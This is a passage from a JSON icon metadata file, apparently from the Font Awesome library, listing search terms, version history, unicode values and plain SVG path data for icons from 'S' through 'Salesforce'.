5.42-4.15a7.35,7.35,0,0,0,4.79-11.54l-15-20.83c.59-1.87,1.13-3.76,1.67-5.65l24-9a7.35,7.35,0,0,0,2.44-12.25l-18.72-17.5c.21-1.95.38-3.91.55-5.87l21.82-13.51a7.35,7.35,0,0,0,0-12.5Zm-151,129.08A13.91,13.91,0,0,0,341,389.51l-7.64,35.67A187.51,187.51,0,0,1,177,424.44l-7.64-35.66a13.87,13.87,0,0,0-16.46-10.68l-31.51,6.76a187.38,187.38,0,0,1-16.26-19.21H258.3c1.72,0,2.89-.29,2.89-1.91V309.55c0-1.57-1.17-1.91-2.89-1.91H213.47l.05-34.35H262c4.41,0,23.66,1.28,29.79,25.87,1.91,7.55,6.17,32.14,9.06,40,2.89,8.82,14.6,26.46,27.1,26.46H407a187.3,187.3,0,0,1-17.34,20.09Zm25.77,34.49A15.24,15.24,0,1,1,368,398.08h.44A15.23,15.23,0,0,1,383.24,413.32Zm-225.62-.68a15.24,15.24,0,1,1-15.25-15.25h.45A15.25,15.25,0,0,1,157.62,412.64ZM69.57,234.15l32.83-14.6a13.88,13.88,0,0,0,7.06-18.33L102.69,186h26.56V305.73H75.65A187.65,187.65,0,0,1,69.57,234.15ZM58.31,198.09a15.24,15.24,0,0,1,15.23-15.25H74a15.24,15.24,0,1,1-15.67,15.24Zm155.16,24.49.05-35.32h63.26c3.28,0,23.07,3.77,23.07,18.62,0,12.29-15.19,16.7-27.68,16.7ZM399,306.71c-9.8,1.13-20.63-4.12-22-10.09-5.78-32.49-15.39-39.4-30.57-51.4,18.86-11.95,38.46-29.64,38.46-53.26,0-25.52-17.49-41.59-29.4-49.48-16.76-11-35.28-13.23-40.27-13.23H116.32A187.49,187.49,0,0,1,221.21,70.06l23.47,24.6a13.82,13.82,0,0,0,19.6.44l26.26-25a187.51,187.51,0,0,1,128.37,91.43l-18,40.57A14,14,0,0,0,408,220.43l34.59,15.33a187.12,187.12,0,0,1,.4,32.54H423.71c-1.91,0-2.69,1.27-2.69,3.13v8.82C421,301,409.31,305.58,399,306.71ZM240,60.21A15.24,15.24,0,0,1,255.21,45h.45A15.24,15.24,0,1,1,240,60.21ZM436.84,214a15.24,15.24,0,1,1,0-30.48h.44a15.24,15.24,0,0,1-.44,30.48Z"
      }
    },
    "free": ["brands"]
  },
  "s": {
    "aliases": {
      "unicodes": {
        "composite": ["73"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter S", "Latin Small Letter S", "letter"]
    },
    "styles": ["solid"],
    "unicode": "53",
    "label": "S",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M99.1 105.4C79 114 68.2 127.2 65.2 144.8c-2.4 14.1-.7 23.2 2 29.4c2.8 6.3 7.9 12.4 16.7 18.6c19.2 13.4 48.3 22.1 84.9 32.5c1 .3 1.9 .6 2.9 .8c32.7 9.3 72 20.6 100.9 40.7c15.7 10.9 29.9 25.5 38.6 45.1c8.8 19.8 10.8 42 6.6 66.3c-7.3 42.5-35.3 71.7-71.8 87.3c-35.4 15.2-79.1 17.9-123.7 10.9l-.2 0 0 0c-24-3.9-62.7-17.1-87.6-25.6c-4.8-1.7-9.2-3.1-12.8-4.3C5.1 440.8-3.9 422.7 1.6 405.9s23.7-25.8 40.5-20.3c4.9 1.6 10.2 3.4 15.9 5.4c25.4 8.6 56.4 19.2 74.4 22.1c36.8 5.7 67.5 2.5 88.5-6.5c20.1-8.6 30.8-21.8 33.9-39.4c2.4-14.1 .7-23.2-2-29.4c-2.8-6.3-7.9-12.4-16.7-18.6c-19.2-13.4-48.3-22.1-84.9-32.5c-1-.3-1.9-.6-2.9-.8c-32.7-9.3-72-20.6-100.9-40.7c-15.7-10.9-29.9-25.5-38.6-45.1c-8.8-19.8-10.8-42-6.6-66.3l31.5 5.5L2.1 133.9C9.4 91.4 37.4 62.2 73.9 46.6c35.4-15.2 79.1-17.9 123.7-10.9c13 2 52.4 9.6 66.6 13.4c17.1 4.5 27.2 22.1 22.7 39.2s-22.1 27.2-39.2 22.7c-11.2-3-48.1-10.2-60.1-12l4.9-31.5-4.9 31.5c-36.9-5.8-67.5-2.5-88.6 6.5z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M99.1 105.4C79 114 68.2 127.2 65.2 144.8c-2.4 14.1-.7 23.2 2 29.4c2.8 6.3 7.9 12.4 16.7 18.6c19.2 13.4 48.3 22.1 84.9 32.5c1 .3 1.9 .6 2.9 .8c32.7 9.3 72 20.6 100.9 40.7c15.7 10.9 29.9 25.5 38.6 45.1c8.8 19.8 10.8 42 6.6 66.3c-7.3 42.5-35.3 71.7-71.8 87.3c-35.4 15.2-79.1 17.9-123.7 10.9l-.2 0 0 0c-24-3.9-62.7-17.1-87.6-25.6c-4.8-1.7-9.2-3.1-12.8-4.3C5.1 440.8-3.9 422.7 1.6 405.9s23.7-25.8 40.5-20.3c4.9 1.6 10.2 3.4 15.9 5.4c25.4 8.6 56.4 19.2 74.4 22.1c36.8 5.7 67.5 2.5 88.5-6.5c20.1-8.6 30.8-21.8 33.9-39.4c2.4-14.1 .7-23.2-2-29.4c-2.8-6.3-7.9-12.4-16.7-18.6c-19.2-13.4-48.3-22.1-84.9-32.5c-1-.3-1.9-.6-2.9-.8c-32.7-9.3-72-20.6-100.9-40.7c-15.7-10.9-29.9-25.5-38.6-45.1c-8.8-19.8-10.8-42-6.6-66.3l31.5 5.5L2.1 133.9C9.4 91.4 37.4 62.2 73.9 46.6c35.4-15.2 79.1-17.9 123.7-10.9c13 2 52.4 9.6 66.6 13.4c17.1 4.5 27.2 22.1 22.7 39.2s-22.1 27.2-39.2 22.7c-11.2-3-48.1-10.2-60.1-12l4.9-31.5-4.9 31.5c-36.9-5.8-67.5-2.5-88.6 6.5z"
      }
    },
    "free": ["solid"]
  },
  "sack-dollar": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4b0"],
        "secondary": ["10f81d"]
      }
    },
    "changes": [
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bag",
        "burlap",
        "cash",
        "dollar",
        "money",
        "money bag",
        "moneybag",
        "robber",
        "santa",
        "usd"
      ]
    },
    "styles": ["solid"],
    "unicode": "f81d",
    "label": "Sack Dollar",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M320 96H192L144.6 24.9C137.5 14.2 145.1 0 157.9 0H354.1c12.8 0 20.4 14.2 13.3 24.9L320 96zM192 128H320c3.8 2.5 8.1 5.3 13 8.4C389.7 172.7 512 250.9 512 416c0 53-43 96-96 96H96c-53 0-96-43-96-96C0 250.9 122.3 172.7 179 136.4l0 0 0 0c4.8-3.1 9.2-5.9 13-8.4zm84 88c0-11-9-20-20-20s-20 9-20 20v14c-7.6 1.7-15.2 4.4-22.2 8.5c-13.9 8.3-25.9 22.8-25.8 43.9c.1 20.3 12 33.1 24.7 40.7c11 6.6 24.7 10.8 35.6 14l1.7 .5c12.6 3.8 21.8 6.8 28 10.7c5.1 3.2 5.8 5.4 5.9 8.2c.1 5-1.8 8-5.9 10.5c-5 3.1-12.9 5-21.4 4.7c-11.1-.4-21.5-3.9-35.1-8.5c-2.3-.8-4.7-1.6-7.2-2.4c-10.5-3.5-21.8 2.2-25.3 12.6s2.2 21.8 12.6 25.3c1.9 .6 4 1.3 6.1 2.1l0 0 0 0c8.3 2.9 17.9 6.2 28.2 8.4V424c0 11 9 20 20 20s20-9 20-20V410.2c8-1.7 16-4.5 23.2-9c14.3-8.9 25.1-24.1 24.8-45c-.3-20.3-11.7-33.4-24.6-41.6c-11.5-7.2-25.9-11.6-37.1-15l0 0-.7-.2c-12.8-3.9-21.9-6.7-28.3-10.5c-5.2-3.1-5.3-4.9-5.3-6.7c0-3.7 1.4-6.5 6.2-9.3c5.4-3.2 13.6-5.1 21.5-5c9.6 .1 20.2 2.2 31.2 5.2c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-6.5-1.7-13.7-3.4-21.1-4.7V216z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M320 96H192L144.6 24.9C137.5 14.2 145.1 0 157.9 0H354.1c12.8 0 20.4 14.2 13.3 24.9L320 96zM192 128H320c3.8 2.5 8.1 5.3 13 8.4C389.7 172.7 512 250.9 512 416c0 53-43 96-96 96H96c-53 0-96-43-96-96C0 250.9 122.3 172.7 179 136.4l0 0 0 0c4.8-3.1 9.2-5.9 13-8.4zm84 88c0-11-9-20-20-20s-20 9-20 20v14c-7.6 1.7-15.2 4.4-22.2 8.5c-13.9 8.3-25.9 22.8-25.8 43.9c.1 20.3 12 33.1 24.7 40.7c11 6.6 24.7 10.8 35.6 14l1.7 .5c12.6 3.8 21.8 6.8 28 10.7c5.1 3.2 5.8 5.4 5.9 8.2c.1 5-1.8 8-5.9 10.5c-5 3.1-12.9 5-21.4 4.7c-11.1-.4-21.5-3.9-35.1-8.5c-2.3-.8-4.7-1.6-7.2-2.4c-10.5-3.5-21.8 2.2-25.3 12.6s2.2 21.8 12.6 25.3c1.9 .6 4 1.3 6.1 2.1l0 0 0 0c8.3 2.9 17.9 6.2 28.2 8.4V424c0 11 9 20 20 20s20-9 20-20V410.2c8-1.7 16-4.5 23.2-9c14.3-8.9 25.1-24.1 24.8-45c-.3-20.3-11.7-33.4-24.6-41.6c-11.5-7.2-25.9-11.6-37.1-15l0 0-.7-.2c-12.8-3.9-21.9-6.7-28.3-10.5c-5.2-3.1-5.3-4.9-5.3-6.7c0-3.7 1.4-6.5 6.2-9.3c5.4-3.2 13.6-5.1 21.5-5c9.6 .1 20.2 2.2 31.2 5.2c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-6.5-1.7-13.7-3.4-21.1-4.7V216z"
      }
    },
    "free": ["solid"]
  },
  "sack-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bag", "burlap", "rations"]
    },
    "styles": ["solid"],
    "unicode": "e56a",
    "label": "Sack Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 96H320l47.4-71.1C374.5 14.2 366.9 0 354.1 0H157.9c-12.8 0-20.4 14.2-13.3 24.9L192 96zm128 32H192c-3.8 2.5-8.1 5.3-13 8.4l0 0 0 0C122.3 172.7 0 250.9 0 416c0 53 43 96 96 96H416c53 0 96-43 96-96c0-165.1-122.3-243.3-179-279.6c-4.8-3.1-9.2-5.9-13-8.4zM289.9 336l47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 96H320l47.4-71.1C374.5 14.2 366.9 0 354.1 0H157.9c-12.8 0-20.4 14.2-13.3 24.9L192 96zm128 32H192c-3.8 2.5-8.1 5.3-13 8.4l0 0 0 0C122.3 172.7 0 250.9 0 416c0 53 43 96 96 96H416c53 0 96-43 96-96c0-165.1-122.3-243.3-179-279.6c-4.8-3.1-9.2-5.9-13-8.4zM289.9 336l47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47z"
      }
    },
    "free": ["solid"]
  },
  "safari": {
    "changes": ["4.4.0", "5.0.0", "5.12.0"],
    "ligatures": [],
    "search": {
      "terms": ["browser"]
    },
    "styles": ["brands"],
    "unicode": "f267",
    "label": "Safari",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M274.69,274.69l-37.38-37.38L166,346ZM256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8ZM411.85,182.79l14.78-6.13A8,8,0,0,1,437.08,181h0a8,8,0,0,1-4.33,10.46L418,197.57a8,8,0,0,1-10.45-4.33h0A8,8,0,0,1,411.85,182.79ZM314.43,94l6.12-14.78A8,8,0,0,1,331,74.92h0a8,8,0,0,1,4.33,10.45l-6.13,14.78a8,8,0,0,1-10.45,4.33h0A8,8,0,0,1,314.43,94ZM256,60h0a8,8,0,0,1,8,8V84a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V68A8,8,0,0,1,256,60ZM181,74.92a8,8,0,0,1,10.46,4.33L197.57,94a8,8,0,1,1-14.78,6.12l-6.13-14.78A8,8,0,0,1,181,74.92Zm-63.58,42.49h0a8,8,0,0,1,11.31,0L140,128.72A8,8,0,0,1,140,140h0a8,8,0,0,1-11.31,0l-11.31-11.31A8,8,0,0,1,117.41,117.41ZM60,256h0a8,8,0,0,1,8-8H84a8,8,0,0,1,8,8h0a8,8,0,0,1-8,8H68A8,8,0,0,1,60,256Zm40.15,73.21-14.78,6.13A8,8,0,0,1,74.92,331h0a8,8,0,0,1,4.33-10.46L94,314.43a8,8,0,0,1,10.45,4.33h0A8,8,0,0,1,100.15,329.21Zm4.33-136h0A8,8,0,0,1,94,197.57l-14.78-6.12A8,8,0,0,1,74.92,181h0a8,8,0,0,1,10.45-4.33l14.78,6.13A8,8,0,0,1,104.48,193.24ZM197.57,418l-6.12,14.78a8,8,0,0,1-14.79-6.12l6.13-14.78A8,8,0,1,1,197.57,418ZM264,444a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V428a8,8,0,0,1,8-8h0a8,8,0,0,1,8,8Zm67-6.92h0a8,8,0,0,1-10.46-4.33L314.43,418a8,8,0,0,1,4.33-10.45h0a8,8,0,0,1,10.45,4.33l6.13,14.78A8,8,0,0,1,331,437.08Zm63.58-42.49h0a8,8,0,0,1-11.31,0L372,383.28A8,8,0,0,1,372,372h0a8,8,0,0,1,11.31,0l11.31,11.31A8,8,0,0,1,394.59,394.59ZM286.25,286.25,110.34,401.66,225.75,225.75,401.66,110.34ZM437.08,331h0a8,8,0,0,1-10.45,4.33l-14.78-6.13a8,8,0,0,1-4.33-10.45h0A8,8,0,0,1,418,314.43l14.78,6.12A8,8,0,0,1,437.08,331ZM444,264H428a8,8,0,0,1-8-8h0a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8h0A8,8,0,0,1,444,264Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M274.69,274.69l-37.38-37.38L166,346ZM256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8ZM411.85,182.79l14.78-6.13A8,8,0,0,1,437.08,181h0a8,8,0,0,1-4.33,10.46L418,197.57a8,8,0,0,1-10.45-4.33h0A8,8,0,0,1,411.85,182.79ZM314.43,94l6.12-14.78A8,8,0,0,1,331,74.92h0a8,8,0,0,1,4.33,10.45l-6.13,14.78a8,8,0,0,1-10.45,4.33h0A8,8,0,0,1,314.43,94ZM256,60h0a8,8,0,0,1,8,8V84a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V68A8,8,0,0,1,256,60ZM181,74.92a8,8,0,0,1,10.46,4.33L197.57,94a8,8,0,1,1-14.78,6.12l-6.13-14.78A8,8,0,0,1,181,74.92Zm-63.58,42.49h0a8,8,0,0,1,11.31,0L140,128.72A8,8,0,0,1,140,140h0a8,8,0,0,1-11.31,0l-11.31-11.31A8,8,0,0,1,117.41,117.41ZM60,256h0a8,8,0,0,1,8-8H84a8,8,0,0,1,8,8h0a8,8,0,0,1-8,8H68A8,8,0,0,1,60,256Zm40.15,73.21-14.78,6.13A8,8,0,0,1,74.92,331h0a8,8,0,0,1,4.33-10.46L94,314.43a8,8,0,0,1,10.45,4.33h0A8,8,0,0,1,100.15,329.21Zm4.33-136h0A8,8,0,0,1,94,197.57l-14.78-6.12A8,8,0,0,1,74.92,181h0a8,8,0,0,1,10.45-4.33l14.78,6.13A8,8,0,0,1,104.48,193.24ZM197.57,418l-6.12,14.78a8,8,0,0,1-14.79-6.12l6.13-14.78A8,8,0,1,1,197.57,418ZM264,444a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V428a8,8,0,0,1,8-8h0a8,8,0,0,1,8,8Zm67-6.92h0a8,8,0,0,1-10.46-4.33L314.43,418a8,8,0,0,1,4.33-10.45h0a8,8,0,0,1,10.45,4.33l6.13,14.78A8,8,0,0,1,331,437.08Zm63.58-42.49h0a8,8,0,0,1-11.31,0L372,383.28A8,8,0,0,1,372,372h0a8,8,0,0,1,11.31,0l11.31,11.31A8,8,0,0,1,394.59,394.59ZM286.25,286.25,110.34,401.66,225.75,225.75,401.66,110.34ZM437.08,331h0a8,8,0,0,1-10.45,4.33l-14.78-6.13a8,8,0,0,1-4.33-10.45h0A8,8,0,0,1,418,314.43l14.78,6.12A8,8,0,0,1,437.08,331ZM444,264H428a8,8,0,0,1-8-8h0a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8h0A8,8,0,0,1,444,264Z"
      }
    },
    "free": ["brands"]
  },
  "sailboat": {
    "changes": [
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["dinghy", "mast", "sailboat", "sailing", "yacht"]
    },
    "styles": ["solid"],
    "unicode": "e445",
    "label": "Sailboat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M256 16c0-7 4.5-13.2 11.2-15.3s13.9 .4 17.9 6.1l224 320c3.4 4.9 3.8 11.3 1.1 16.6s-8.2 8.6-14.2 8.6H272c-8.8 0-16-7.2-16-16V16zM212.1 96.5c7 1.9 11.9 8.2 11.9 15.5V336c0 8.8-7.2 16-16 16H80c-5.7 0-11-3-13.8-8s-2.9-11-.1-16l128-224c3.6-6.3 11-9.4 18-7.5zM5.7 404.3C2.8 394.1 10.5 384 21.1 384H554.9c10.6 0 18.3 10.1 15.4 20.3l-4 14.3C550.7 473.9 500.4 512 443 512H133C75.6 512 25.3 473.9 9.7 418.7l-4-14.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M256 16c0-7 4.5-13.2 11.2-15.3s13.9 .4 17.9 6.1l224 320c3.4 4.9 3.8 11.3 1.1 16.6s-8.2 8.6-14.2 8.6H272c-8.8 0-16-7.2-16-16V16zM212.1 96.5c7 1.9 11.9 8.2 11.9 15.5V336c0 8.8-7.2 16-16 16H80c-5.7 0-11-3-13.8-8s-2.9-11-.1-16l128-224c3.6-6.3 11-9.4 18-7.5zM5.7 404.3C2.8 394.1 10.5 384 21.1 384H554.9c10.6 0 18.3 10.1 15.4 20.3l-4 14.3C550.7 473.9 500.4 512 443 512H133C75.6 512 25.3 473.9 9.7 418.7l-4-14.3z"
      }
    },
    "free": ["solid"]
  },
  "salesforce": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f83b",
    "label": "Salesforce",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M248.89 245.64h-26.35c.69-5.16 3.32-14.12 13.64-14.12 6.75 0 11.97 3.82 12.71 14.12zm136.66-13.88c-.47 0-14.11-1.77-14.11 20s13.63 20 14.11 20c13 0 14.11-13.54 14.11-20 0-21.76-13.66-20-14.11-20zm-243.22 23.76a8.63 8.63 0 0 0-3.29 7.29c0 4.78 2.08 6.05 3.29 7.05 4.7 3.7 15.07 2.12 20.93.95v-16.94c-5.32-1.07-16.73-1.96-20.93 1.65zM640 232c0 87.58-80 154.39-165.36 136.43-18.37 33-70.73 70.75-132.2 41.63-41.16 96.05-177.89 92.18-213.81-5.17C8.91 428.78-50.19 266.52 53.36 205.61 18.61 126.18 76 32 167.67 32a124.24 124.24 0 0 1 98.56 48.7c20.7-21.4 49.4-34.81 81.15-34.81 42.34 0 79 23.52 98.8 58.57C539 63.78 640 132.69 640 232zm-519.55 31.8c0-11.76-11.69-15.17-17.87-17.17-5.27-2.11-13.41-3.51-13.41-8.94 0-9.46 17-6.66 25.17-2.12 0 0 1.17.71 1.64-.47.24-.7 2.36-6.58 2.59-7.29a1.13 1.13 0 0 0-.7-1.41c-12.33-7.63-40.7-8.51-40.7 12.7 0 12.46 11.49 15.44 17.88 17.17 4.72 1.58 13.17 3 13.17 8.7 0 4-3.53 7.06-9.17 7.06a31.76 31.76 0 0 1-19-6.35c-.47-.23-1.42-.71-1.65.71l-2.4 7.47c-.47.94.23 1.18.23 1.41 1.75 1.4 10.3 6.59 22.82 6.59 13.17 0 21.4-7.06 21.4-18.11zm32-42.58c-10.13 0-18.66 3.17-21.4 5.18a1 1 0 0 0-.24 1.41l2.59 7.06a1 1 0 0 0 1.18.7c.65 0 6.8-4 16.93-4 4 0 7.06.71 9.18 2.36 3.6 2.8 3.06 8.29 3.06 10.58-4.79-.3-19.11-3.44-29.41 3.76a16.92 16.92 0 0 0-7.34 14.54c0 5.9 1.51 10.4 6.59 14.35 12.24 8.16 36.28 2 38.1 1.41 1.58-.32 3.53-.66 3.53-1.88v-33.88c.04-4.61.32-21.64-22.78-21.64zM199 200.24a1.11 1.11 0 0 0-1.18-1.18H188a1.11 1.11 0 0 0-1.17 1.18v79a1.11 1.11 0 0 0 1.17 1.18h9.88a1.11 1.11 0 0 0 1.18-1.18zm55.75 28.93c-2.1-2.31-6.79-7.53-17.65-7.53-3.51 0-14.16.23-20.7 8.94-6.35 7.63-6.58 18.11-6.58 21.41 0 3.12.15 14.26 7.06 21.17 2.64 2.91 9.06 8.23 22.81 8.23 10.82 0 16.47-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.35-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.94-16.7h37.17a1.23 1.23 0 0 0 1.17-.94c-.29 0 2.07-14.7-6.09-24.23zm36.69 52.69c13.17 0 21.41-7.06 21.41-18.11 0-11.76-11.7-15.17-17.88-17.17-4.14-1.66-13.41-3.38-13.41-8.94 0-3.76 3.29-6.35 8.47-6.35a38.11 38.11 0 0 1 16.7 4.23s1.18.71 1.65-.47c.23-.7 2.35-6.58 2.58-7.29a1.13 1.13 0 0 0-.7-1.41c-7.91-4.9-16.74-4.94-20.23-4.94-12 0-20.46 7.29-20.46 17.64 0 12.46 11.48 15.44 17.87 17.17 6.11 2 13.17 3.26 13.17 8.7 0 4-3.52 7.06-9.17 7.06a31.8 31.8 0 0 1-19-6.35 1 1 0 0 0-1.65.71l-2.35 7.52c-.47.94.23 1.18.23 1.41 1.72 1.4 10.33 6.59 22.79 6.59zM357.09 224c0-.71-.24-1.18-1.18-1.18h-11.76c0-.14.94-8.94 4.47-12.47 4.16-4.15 11.76-1.64 12-1.64 1.17.47 1.41 0 1.64-.47l2.83-7.77c.7-.94 0-1.17-.24-1.41-5.09-2-17.35-2.87-24.46 4.24-5.48 5.48-7 13.92-8 19.52h-8.47a1.28 1.28 0 0 0-1.17 1.18l-1.42 7.76c0 .7.24 1.17 1.18 1.17h8.23c-8.51 47.9-8.75 50.21-10.35 55.52-1.08 3.62-3.29 6.9-5.88 7.76-.09 0-3.88 1.68-9.64-.24 0 0-.94-.47-1.41.71-.24.71-2.59 6.82-2.83 7.53s0 1.41.47 1.41c5.11 2 13 1.77 17.88 0 6.28-2.28 9.72-7.89 11.53-12.94 2.75-7.71 2.81-9.79 11.76-59.74h12.23a1.29 1.29 0 0 0 1.18-1.18zm53.39 16c-.56-1.68-5.1-18.11-25.17-18.11-15.25 0-23 10-25.16 18.11-1 3-3.18 14 0 23.52.09.3 4.41 18.12 25.16 18.12 14.95 0 22.9-9.61 25.17-18.12 3.21-9.61 1.01-20.52 0-23.52zm45.4-16.7c-5-1.65-16.62-1.9-22.11 5.41v-4.47a1.11 1.11 0 0 0-1.18-1.17h-9.4a1.11 1.11 0 0 0-1.18 1.17v55.28a1.12 1.12 0 0 0 1.18 1.18h9.64a1.12 1.12 0 0 0 1.18-1.18v-27.77c0-2.91.05-11.37 4.46-15.05 4.9-4.9 12-3.36 13.41-3.06a1.57 1.57 0 0 0 1.41-.94 74 74 0 0 0 3.06-8 1.16 1.16 0 0 0-.47-1.41zm46.81 54.1l-2.12-7.29c-.47-1.18-1.41-.71-1.41-.71-4.23 1.82-10.15 1.89-11.29 1.89-4.64 0-17.17-1.13-17.17-19.76 0-6.23 1.85-19.76 16.47-19.76a34.85 34.85 0 0 1 11.52 1.65s.94.47 1.18-.71c.94-2.59 1.64-4.47 2.59-7.53.23-.94-.47-1.17-.71-1.17-11.59-3.87-22.34-2.53-27.76 0-1.59.74-16.23 6.49-16.23 27.52 0 2.9-.58 30.11 28.94 30.11a44.45 44.45 0 0 0 15.52-2.83 1.3 1.3 0 0 0 .47-1.42zm53.87-39.52c-.8-3-5.37-16.23-22.35-16.23-16 0-23.52 10.11-25.64 18.59a38.58 38.58 0 0 0-1.65 11.76c0 25.87 18.84 29.4 29.88 29.4 10.82 0 16.46-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.36-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.93-16.7h37.16a1.25 1.25 0 0 0 1.18-.94c-.24-.01.94-7.07-1.41-15.54zm-23.29-6.35c-10.33 0-13 9-13.64 14.12H546c-.88-11.92-7.62-14.13-12.73-14.13z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M248.89 245.64h-26.35c.69-5.16 3.32-14.12 13.64-14.12 6.75 0 11.97 3.82 12.71 14.12zm136.66-13.88c-.47 0-14.11-1.77-14.11 20s13.63 20 14.11 20c13 0 14.11-13.54 14.11-20 0-21.76-13.66-20-14.11-20zm-243.22 23.76a8.63 8.63 0 0 0-3.29 7.29c0 4.78 2.08 6.05 3.29 7.05 4.7 3.7 15.07 2.12 20.93.95v-16.94c-5.32-1.07-16.73-1.96-20.93 1.65zM640 232c0 87.58-80 154.39-165.36 136.43-18.37 33-70.73 70.75-132.2 41.63-41.16 96.05-177.89 92.18-213.81-5.17C8.91 428.78-50.19 266.52 53.36 205.61 18.61 126.18 76 32 167.67 32a124.24 124.24 0 0 1 98.56 48.7c20.7-21.4 49.4-34.81 81.15-34.81 42.34 0 79 23.52 98.8 58.57C539 63.78 640 132.69 640 232zm-519.55 31.8c0-11.76-11.69-15.17-17.87-17.17-5.27-2.11-13.41-3.51-13.41-8.94 0-9.46 17-6.66 25.17-2.12 0 0 1.17.71 1.64-.47.24-.7 2.36-6.58 2.59-7.29a1.13 1.13 0 0 0-.7-1.41c-12.33-7.63-40.7-8.51-40.7 12.7 0 12.46 11.49 15.44 17.88 17.17 4.72 1.58 13.17 3 13.17 8.7 0 4-3.53 7.06-9.17 7.06a31.76 31.76 0 0 1-19-6.35c-.47-.23-1.42-.71-1.65.71l-2.4 7.47c-.47.94.23 1.18.23 1.41 1.75 1.4 10.3 6.59 22.82 6.59 13.17 0 21.4-7.06 21.4-18.11zm32-42.58c-10.13 0-18.66 3.17-21.4 5.18a1 1 0 0 0-.24 1.41l2.59 7.06a1 1 0 0 0 1.18.7c.65 0 6.8-4 16.93-4 4 0 7.06.71 9.18 2.36 3.6 2.8 3.06 8.29 3.06 10.58-4.79-.3-19.11-3.44-29.41 3.76a16.92 16.92 0 0 0-7.34 14.54c0 5.9 1.51 10.4 6.59 14.35 12.24 8.16 36.28 2 38.1 1.41 1.58-.32 3.53-.66 3.53-1.88v-33.88c.04-4.61.32-21.64-22.78-21.64zM199 200.24a1.11 1.11 0 0 0-1.18-1.18H188a1.11 1.11 0 0 0-1.17 1.18v79a1.11 1.11 0 0 0 1.17 1.18h9.88a1.11 1.11 0 0 0 1.18-1.18zm55.75 28.93c-2.1-2.31-6.79-7.53-17.65-7.53-3.51 0-14.16.23-20.7 8.94-6.35 7.63-6.58 18.11-6.58 21.41 0 3.12.15 14.26 7.06 21.17 2.64 2.91 9.06 8.23 22.81 8.23 10.82 0 16.47-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.35-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.94-16.7h37.17a1.23 1.23 0 0 0 1.17-.94c-.29 0 2.07-14.7-6.09-24.23zm36.69 52.69c13.17 0 21.41-7.06 21.41-18.11 0-11.76-11.7-15.17-17.88-17.17-4.14-1.66-13.41-3.38-13.41-8.94 0-3.76 3.29-6.35 8.47-6.35a38.11 